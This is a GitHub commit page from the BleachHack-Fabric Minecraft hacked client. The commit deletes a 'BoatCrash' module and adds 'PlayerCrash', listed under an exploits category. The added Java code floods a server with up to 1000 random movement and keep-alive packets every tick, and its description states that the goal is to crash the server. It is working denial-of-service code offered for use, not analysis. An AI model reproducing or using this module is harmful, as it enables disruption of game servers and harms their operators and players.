-
-
Notifications
You must be signed in to change notification settings - Fork 133
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
28 additions
and
27 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
26 changes: 0 additions & 26 deletions
26
BleachHack-Fabric/src/main/java/bleach/hack/module/mods/BoatCrash.java
This file was deleted.
Oops, something went wrong.
27 changes: 27 additions & 0 deletions
27
BleachHack-Fabric/src/main/java/bleach/hack/module/mods/PlayerCrash.java
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
package bleach.hack.module.mods; | ||
|
||
import com.google.common.eventbus.Subscribe; | ||
|
||
import bleach.hack.event.events.EventTick; | ||
import bleach.hack.gui.clickgui.SettingSlider; | ||
import bleach.hack.module.Category; | ||
import bleach.hack.module.Module; | ||
import net.minecraft.server.network.packet.KeepAliveC2SPacket; | ||
import net.minecraft.server.network.packet.PlayerMoveC2SPacket; | ||
|
||
public class PlayerCrash extends Module { | ||
|
||
public PlayerCrash() { | ||
super("PacketCrash", -1, Category.EXPLOITS, "Uses cpacketplayer packets to packetify the server so it packets your packet and packs enough to crash", | ||
new SettingSlider("Uses: ", 1,1000,100,0)); | ||
} | ||
|
||
@Subscribe | ||
public void onTick(EventTick event) { | ||
for(int i = 0; i < getSettings().get(0).toSlider().getValue(); i++) { | ||
mc.player.networkHandler.sendPacket(new PlayerMoveC2SPacket(Math.random() >= 0.5)); | ||
mc.player.networkHandler.sendPacket(new KeepAliveC2SPacket((int) (Math.random() * 8))); | ||
} | ||
} | ||
|
||
} |